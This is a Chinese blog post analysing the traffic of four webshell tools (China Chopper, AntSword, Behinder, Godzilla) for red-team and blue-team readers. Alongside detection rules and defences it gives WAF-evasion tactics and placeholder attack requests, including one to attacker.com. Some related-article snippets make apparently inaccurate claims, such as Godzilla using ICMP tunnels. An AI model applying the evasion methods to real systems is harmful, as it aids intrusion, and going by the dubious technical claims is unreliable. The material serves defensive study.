Webshell管理工具 [流量分析总结文档 蚁剑、冰蝎、菜刀、哥斯拉]

已于 2025-04-14 11:02:00 修改
阅读量4.1k 收藏 12
点赞数 23
分类专栏： OWASP Top 漏洞 web渗透 文章标签： 安全 web安全 网络安全 可信计算技术 系统安全
于 2025-04-14 11:01:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/zhzx123aa/article/details/145874772
版权

目录

引言

主流WebShell管理工具概览

最新版本特性深度解析

菜刀（China Chopper）

蚁剑（AntSword）

冰蝎（Behinder）

哥斯拉（Godzilla）

流量特征分析与快速识别

菜刀（China Chopper）

蚁剑（AntSword）

冰蝎（Behinder）

哥斯拉（Godzilla）

魔改方案：绕过WAF监控

防御对策与实际方案

流量分析工具

行为检测

深度包检测（DPI）

防御建议

WebShell管理工具特性与区别表格

总结

引言

  • WebShell是一种通过Web界面实现目标服务器远程控制的工具，因其隐蔽性和强大功能，成为网络攻击与渗透测试中的核心利器。当前，菜刀（China Chopper）、蚁剑（AntSword）、冰蝎（Behinder）和哥斯拉（Godzilla）是最主流的WebShell管理工具。
  • 本文从红队视角出发，分析这些工具的最新特性、流量特征及绕过WAF（Web应用防火墙）的魔改方案，同时为蓝队提供防御对策，帮助安全从业者全面掌握WebShell的应用与应对策略。

主流WebShell管理工具概览

以下是当前渗透测试与攻击场景中最常用的四款WebShell管理工具：

  • 菜刀（China Chopper）：以简洁高效著称，体积小，易于隐藏。

  • 蚁剑（AntSword）：开源工具，功能丰富，支持插件扩展。

  • 冰蝎（Behinder）：隐蔽性强，采用动态加密技术。

  • 哥斯拉（Godzilla）：支持多协议，适应复杂网络环境。

这些工具因其独特优势，在不同攻击场景中各具特色。

最新版本特性深度解析

以下是对四款工具最新版本的特性分析，涵盖协议支持、功能模块及攻击性：

菜刀（China Chopper）

  • 协议支持：HTTP/HTTPS

  • 功能模块：

    • 文件管理：上传、下载、编辑文件

    • 命令执行：运行系统命令

    • 数据库管理：连接并操作数据库

  • 攻击性：仅几KB的体积，便于快速部署和隐藏。

蚁剑（AntSword）

  • 协议支持：HTTP/HTTPS

  • 功能模块：

    • 文件管理：浏览、上传、删除文件

    • 命令执行：运行系统命令

    • 虚拟终端：模拟终端操作

    • 插件系统：支持自定义扩展

    • 数据库管理：支持MySQL、SQL Server等

  • 攻击性：开源特性便于定制，支持多种编码混淆。

冰蝎（Behinder）

  • 协议支持：HTTP/HTTPS，自定义加密协议

  • 功能模块：

    • 文件管理：上传、修改、删除文件

    • 命令执行：执行系统命令

    • Shell反弹：反向连接攻击者主机

    • 流量加密：动态二进制加密

  • 攻击性：加密通信，规避传统检测，支持Java类加载。

哥斯拉（Godzilla）

  • 协议支持：HTTP/HTTPS、SOCKS5

  • 功能模块：

    • 文件管理：文件操作与管理

    • 命令执行：运行命令

    • 代理功能：支持SOCKS5代理

    • Shell反弹：反向连接

  • 攻击性：多协议支持，payload多样化。

小结：菜刀简洁高效，蚁剑功能全面，冰蝎隐蔽性强，哥斯拉协议灵活。这些特性决定了其流量特征与绕过能力。

流量特征分析与快速识别

流量特征是检测WebShell的关键。以下从红队视角分析四款工具的流量特征，并提供识别方法。

菜刀（China Chopper）

  • 流量特征：

    • HTTP POST请求

    • payload包含eval、exec或base64编码

    • 响应为命令输出

  • 示例：

    POST /cmd.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=echo%20"test"

    响应："test"

  • 识别方法：监控POST请求中的敏感关键字或base64编码。

蚁剑（AntSword）

  • 流量特征：

    • HTTP POST请求

    • payload混淆/加密，常见参数如z1=base64_encoded_payload

    • 响应为文件列表或命令输出

  • 示例：

    POST /antSword/exec.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
z1=base64_encoded_payload

    响应：文件目录列表

  • 识别方法：分析异常POST请求，关注特征参数（如z1）。

冰蝎（Behinder）

  • 流量特征：

    • HTTP POST请求

    • 自定义加密协议，高频小包交互

    • payload无明显特征

  • 示例：

    POST /beetle/command.php HTTP/1.1
Host: target.com
Content-Type: application/octet-stream
[encrypted_payload]

    响应：加密数据

  • 识别方法：使用DPI分析加密流量，关注高频小包。

哥斯拉（Godzilla）

  • 流量特征：

    • HTTP POST请求

    • payload混淆，包含特定标识符（如cmd=connect）

    • 可能涉及SOCKS5流量

  • 示例：

    POST /goProxy/command HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=connect&target=attacker.com

    响应：连接状态

  • 识别方法：监控特定参数和SOCKS5流量。

逻辑分析：WebShell流量通常表现为高频请求、敏感操作和异常响应内容，结合请求频率与协议特征可快速判断类型。

魔改方案：绕过WAF监控

WAF通过规则匹配检测恶意流量，红队可通过以下方案提升隐蔽性：

  1. 加密与混淆：对payload进行AES加密后base64编码。

  2. 流量伪装：模拟正常业务流量，添加Referer等标准HTTP头。

  3. 分段传输：将payload拆分为多个小包发送。

  4. 使用HTTPS：加密通信，隐藏payload。

  5. 自定义协议：开发私有协议，避开WAF规则。

示例：

POST /upload.php HTTP/1.1
Host: target.com
Referer: https://target.com/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
[encrypted_payload]

案例：魔改菜刀，将POST请求伪装为图片上传，payload经AES加密后通过HTTPS传输，成功绕过某商业WAF。

防御对策与实际方案

流量分析工具

  • Wireshark：捕获HTTP/HTTPS流量，分析POST请求。

  • Suricata：编写规则检测异常流量。

    alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"China Chopper Detected"; flow:to_server; content:"eval"; http_uri; sid:1000001;)

  • Zeek：生成流量日志，分析高频请求模式。

行为检测

  • 使用机器学习模型识别命令执行模式。

深度包检测（DPI）

  • 部署DPI设备，解密HTTPS流量，分析payload。

防御建议

  • 监控Web服务器日志，查找异常路径（如/exec.php）。

  • 限制文件上传功能，禁用危险函数（如eval、system）。

  • 更新WAF规则，检测加密流量和高频小包。

WebShell管理工具特性与区别表格

特性菜刀蚁剑冰蝎哥斯拉
支持协议HTTP/HTTPSHTTP/HTTPSHTTP/HTTPS，自定义加密协议HTTP/HTTPS、SOCKS5
支持语言PHP、ASP、JSPPHP、ASP、JSPJava、PHPPHP、ASP
主要功能文件管理、命令执行、数据库操作文件管理、命令执行、虚拟终端、插件文件管理、命令执行、Shell反弹、加密文件管理、命令执行、代理、Shell反弹
流量特征POST请求，payload明显POST请求，payload混淆POST请求，payload加密POST请求，payload混淆，SOCKS5
隐蔽性低中高中
绕过WAF弱中强中
社区支持弱强中中

总结

本文全面剖析了菜刀、蚁剑、冰蝎和哥斯拉四款WebShell管理工具，从特性、流量特征到魔改方案，为红队提供了绕过WAF的实用策略，同时为蓝队设计了针对性的防御措施。

关键点如下：

  • 特性差异：菜刀简洁、蚁剑灵活、冰蝎隐蔽、哥斯拉多能。

  • 流量识别：通过高频POST请求、敏感payload和异常响应快速定位。

  • 攻防博弈：红队可利用加密与伪装提升隐蔽性，蓝队需结合流量分析与行为检测加强防御。

【愚公系列】2023年06月 网络安全高级班 025.HW护网行动攻防演练介绍和工具
时光隧道
05-12 1万+
HW护网行动攻防演练是一种针对网络安全的实践活动，用于测试和提高组织的网络安全防御和攻击能力。通过模拟真实的网络攻击和防御行动，演练参与者在紧张压力下的反应和解决问题的能力，发现网络安全漏洞和提高安全意识，加强网络安全防御能力。攻防演练的成员组成一般包括攻击者、防御者和观察者三个角色。攻击者的任务是模拟真实的黑客攻击，找出系统的漏洞并利用其进行攻击，以检验系统的安全性。防御者则负责发现和修补漏洞，并保护系统不受攻击。观察者则负责记录和分析整个攻防过程，并提供建议和改进意见。
从webshell的视角谈攻防对抗
si1ence的博客
12-05 897
0x0 背景 由于参加最近特殊多人活动的原因，很多渗透攻击武器也进行了对应的更新。冰蝎出了3.0版本、甚至还有好几个beta版本；还朋友圈还出了一个据说比冰蝎3.0还厉害的神器”哥斯拉”全部类型的shell均过市面所有静态查杀、流量加密过市面全部流量waf、自带的插件是冰蝎、蚁剑不能比拟的;看名字就很厉害的样子，看描述更是功能强大 不禁内心一阵酸爽。 丰富了自己部分武器库之后很多白帽子喜悦之情溢于言表，身边很多小伙伴甚至都开始在本地开始测试了；几家欢喜几家愁，总一些人的快乐终究是建立在一些人的痛苦之上
常见webshell工具流量特征分析(哥斯拉、冰蝎、蚁剑、菜刀)
weixin_45971758的博客
06-23 4800
message 是一段超极长的字符串，分析冰蝎请求中的 PHP 代码，发现他就是 content 经过 base64 -> aes 加密后生成的，作用和请求中的 content 一致都是绕过 $Content-Length。冰蝎与webshell建立连接的同时，javaw也与目的主机建立tcp连接，每次连接使用本地端口在49700左右，每连接一次，每建立一次新的连接，端口就依次增加。content：“浏览器版本”。流量解密过程： 解AES密钥为(连接密码的MD5的前16位) --> 解base64两次。
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 2565
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
webshell工具-冰蝎流量特征和加密方式
qq_40898302的博客
05-25 2076
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端，由于通信流量被加密，传统的WAF、IDS 设备难以检测，给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密，且加密密钥是由随机数函数动态生成，因此该客户端的流量几乎无法检测。而老牌的如中国菜刀因为其流量特征太过明显，从而使用的场景越来越少。
渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
qq_53058639的博客
03-17 2144
在测试过程中，我们经常会运到各种webshell管理工具，这里我介绍几种常见的webshell工具给大家。webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要用于网站管理、服务器管理、权限管理等操作。使用方法简单，只需上传一个代码文件，通过网址访问，便可进行很多日常操作，极大地方便了使用者对网站和服务器的管理。?
Webshell管理工具：冰蝎和哥斯拉
soldi_er的博客
04-22 4721
文章目录简介和安装简单介绍安装和启动查看server文件夹代码分析分析shell.php第一遍查看软件源码反思 简介和安装 简单介绍   冰蝎是一个动态二进制加密的Webshell管理工具，第一代Webshell管理工具“菜刀”的流量特征非常明显，很容易被安全设备检测到。于是基于流量加密的Webshell越来越多，冰蝎应运而生，也取代了菜刀的地位。   使用Java开发，所以可以跨平台使用。主要功能：基本信息、rce、虚拟终端、文件管理、Sockets代理、反弹shell、数据库管理、自定义代码等。相比菜
Webshell流量分析之哥斯拉Godzilla&冰蝎Behinder
隔壁王叔的博客
11-01 1697
Webshell流量分析之哥斯拉Godzilla&冰蝎Behinder
常见webshell工具及特征分析
白帽黑客八哥的博客
05-29 2246
在工作中经常会遇到各种websehll，黑客通常要通过各种方式获取 webshell，从而获得企业网站的控制权，识别出webshell文件或通信流量可以有效地阻止黑客进一步的攻击行为，下面以常见的四款webshell进行分析，对工具连接流量有个基本认识。Webshell简介webshell就是以aspphp、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要用于网站管理、服务器管理、权限管理等操作。
WAF攻防相关知识点总结2-代码免杀绕过
m0_66458291的博客
01-18 1090
WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测在宝塔的后台可以放置一句话木马的文件宝塔不会对于这个文件进行拦截，但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候，数据报中有流量特征就会被拦截经过检测可以知道是waf对于数据报中的关键字进行了检测传参绕过：waf拦截使用的是正则表达式，匹配函数的关键字绕过思路就是把关键字的函数代码以参数值的形式进行发送一句话木门是 连接方式 ?a=asspost： x=base64e
生产实习--启明星辰 第四天（Web网络安全基础知识，sql注入，xss攻击，csrf与ssrf，xxe攻击，未授权漏洞，漏洞，常见中间件攻击，文件包含,流量特征）
TuYHAAAAAA的博客
07-09 1532
CSRF漏洞攻击原理：客户端请求伪造，在我看来，假如我是黑客，我想访问网站A，但是这个网站A要付费，我没钱呀，我就找到一个人他要访问两个网站分别是A网站和B网站,我就黑了网站B,在他同时访问这两个网站时，我就偷偷发送一个有危害的请求，来获取A网站的cookie从而用他的账号密码来访问这个A网站。SSRF跨站请求伪造：服务端请求伪造，在我看来，就是操作服务器骗取客户端数据信息。外部实体注入，是一种利用XML解析器处理XML文档时的安全漏洞进行的攻击。
网络安全工程师面试题整理
m0_67393686的博客
07-30 7649
网络发现和安全审计工具主机发现端口扫描应用程序和版本探测操作系统探测-p指定端口扫描-sTtcp扫描-sPping扫描-Pn不进行ping扫描-o操作系统探测。
渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞
墨鱼菜鸡
07-11 3475
1、渗透测试 实用 浏览器插件 chrome、edge 插件：搜索 cookie，安装 cookie editor，打开插件，可以 导出 cookie HackBar ：Hackbar是网络安全学习者常备的工具 (https://www.fujieace.com/hacker/tools/hackbar.html )。 ​解决Firefox插件-H...
引言：Client Hello 为何是 HTTPS 安全的核心？
2501_90994755的博客
05-10 752
Cipher Suites TLS_AES_256_GCM_SHA384 TLS 1.3 仅保留 5 个强密码套件，而 TLS 1.2 支持数十种（需谨慎过滤弱算法）openssl s_client -connect example.com:443 -tls1_3 # 手动测试 TLS 1.3。使用 TLS_RSA_WITH_3DES_EDE_CBC_SHA（3DES 算法已过时，易受 SWEET32 攻击）。欢迎在评论区分享经历！
中级注册安全工程师的《安全生产专业实务》科目如何选择专业？
m0_60557936的博客
05-07 580
中级注册安全工程师的《安全生产专业实务》有 7 个专业方向，选择时可考虑以下几个方面：
7.2.安全防御
2301_79902294的博客
05-07 974
• 密码存储：BCrypt与Argon2算法实现（Spring Security） • 多因素认证（MFA）：TOTP集成（Google Authenticator API） • 生物识别安全：活体检测与本地存储（Android Biometric API）• 数据库加密：透明数据加密（TDE）、字段级加密（Jasypt） • 文件存储安全：权限控制（Linux ACL）、客户端加密（WebCrypto API） • 备份与恢复策略：异地加密备份（AWS S3 + KMS）-- 身份证号 -->
渗透测试行业术语2
2301_76419201的博客
05-09 1338
内生安全有三个特性，即依靠信息化系统与安全系统的聚合、业务数据与安全数 据的聚合以及 IT 人才和安全人才的聚合，从信息化系统的内部，不断长出自适 应、自主和自成长的安全能力。根据 Gartner 的定义，威胁情报是某种基于证据的知识，包括上下文、机制、标 示、含义和能够执行的建议，这些知识与资产所面临已有的或酝酿中的威胁或危 害相关，可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持。这样一来，这些浏览器所在的服务器跟用户所在环境中的终端和网络是隔离的， 从而使得客户所在网络的暴露面大大降低。
AI安全之对抗样本攻击---FGSM实战脚本解析
最新发布
ccstuck的专栏
05-10 487
对抗样本（Adversarial Examples）是深度学习安全领域的重要研究课题，快速梯度符号方法（FGSM）是生成对抗样本的经典算法。FGSM通过沿梯度正方向施加扰动，构造出使模型产生错误判断的输入样本，同时确保扰动在人类视觉感知中与原始样本无明显差异。本文通过实战代码详细解析了FGSM的实现过程，包括输入参数配置、受攻击模型定义、FGSM攻击算法实现及测试函数。实验结果表明，随着扰动系数ε的增加，模型准确率显著下降，而扰动也逐渐变得可见。通过可视化对抗样本，展示了不同ε值下模型分类结果的变化，验证了
蚁剑和冰蝎和哥斯拉的流量特征
01-07
### 蚁剑、冰蝎和哥斯拉 WebShell 工具的网络通信流量特征 #### 蚁剑 (AntSword) 蚁剑采用静态加密方式处理其WebShell通信，这使得其流量具有一定的可识别性。然而，随着版本更新，蚁剑引入了更复杂的加密机制来规避安全软件的检测[^2]。 对于蚁剑而言，主要通过HTTP(S)协议进行通信，并且会利用多种技术手段隐藏恶意行为： - **请求头**：通常包含特定User-Agent字符串以及自定义Cookie字段。 - **POST参数**：使用Base64编码或其他形式的数据混淆方法传递命令或脚本代码。 - **响应内容**：返回的结果同样经过编码处理，增加了直接解析难度。 ```python import base64 def encode_payload(data): """模拟蚁剑对有效负载进行简单编码""" encoded_data = base64.b64encode(data.encode()).decode() return f"{encoded_data}" ``` #### 冰蝎 (BingChen) 冰蝎3代相比前一代进行了改进，取消了动态密钥获取功能，转而采取其他措施增强隐蔽性和抗分析能力[^3]。具体表现在以下几个方面： - **传输层协议**：依旧依赖于HTTPS/TLS通道确保数据安全性的同时减少被拦截风险。 - **应用层伪装**：模仿正常网页浏览活动模式发送请求并接收回复；例如设置合理的`Accept-Language`, `Referer`等头部信息。 - **内部逻辑优化**：简化了一些不必要的交互流程，降低了异常行为暴露的可能性。 ```bash curl -X POST \ https://example.com/shell.php \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'cmd=id' ``` #### 哥斯拉 (Godzilla) 哥斯拉以其高度定制化的特性著称，在实际运用过程中展现出极强的适应能力和灵活性[^4]。以下是该工具的一些典型特点： - **特殊标志符**：所有发出的数据包均以关键字"godzilla"作为起始标记，便于后续操作确认身份合法性。 - **ICMP隧道构建**：不同于传统基于TCP/UDP的应用程序，哥斯拉能够创建基于ICMP Echo Request & Reply的消息交换路径完成远程控制指令下发。 - **固定长度载荷**：每次传输的有效载荷大小保持一致（如92字节），有助于进一步掩盖真实意图。 ```csharp using System.Net.NetworkInformation; public static void SendPing(string targetIp, string payload) { Ping pingSender = new Ping(); byte[] buffer = Encoding.ASCII.GetBytes($"godzilla{payload}"); // Ensure the length of data is fixed to 92 bytes. Array.Resize(ref buffer, 92); var reply = pingSender.Send(targetIp, 120, buffer); } ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

浩策

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值